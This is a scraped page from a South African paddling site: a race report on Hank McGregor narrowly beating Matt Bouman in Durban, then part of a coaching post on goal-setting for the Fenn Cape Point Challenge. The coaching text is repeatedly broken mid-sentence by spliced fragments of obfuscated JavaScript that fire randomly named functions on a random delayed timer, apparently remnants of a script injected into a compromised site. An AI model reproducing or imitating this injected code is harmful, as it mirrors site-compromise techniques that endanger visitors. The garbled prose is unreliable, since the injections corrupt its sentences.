    With two wins under the belt from the series’ first three races to date, triple Canoe Marathon World Champ Hank McGregor (Fenn/Team Jeep) notched up his third race victory when he narrowly edged out perennial rival Matt Bouman (Epic Kayaks) after a tightly contested affair throughout the two lap dash around Durban’s bay.

    “It’s great to get another win!” said McGregor. “I will obviously have to start taking iot easy for the next couple of weeks before Dusi so it’s nice to be able to get another win under the belt before then.

    “Out there, there were no waves, no swell, no wind. Nothing!” said McGregor. “Not like the last couple of weeks.

    Achieving Goals at Fenn Cape Point Challenge 2013

    Written by Barry Lewin on . Posted in Coaching

    Setting goals are alway important andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the key to achieving those goals is putting positive structures in please to get your want to go. Goals can be anything from doing your first downwind to getting through a long tough race like the Fenn Cape Point Challenge.

    I have a couple people who took up the massive task of preparing for the latter, one of the hardest races in the world where the traditional downwind is thrown out the window andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and no matter what the weather at least half the race is into the wind.
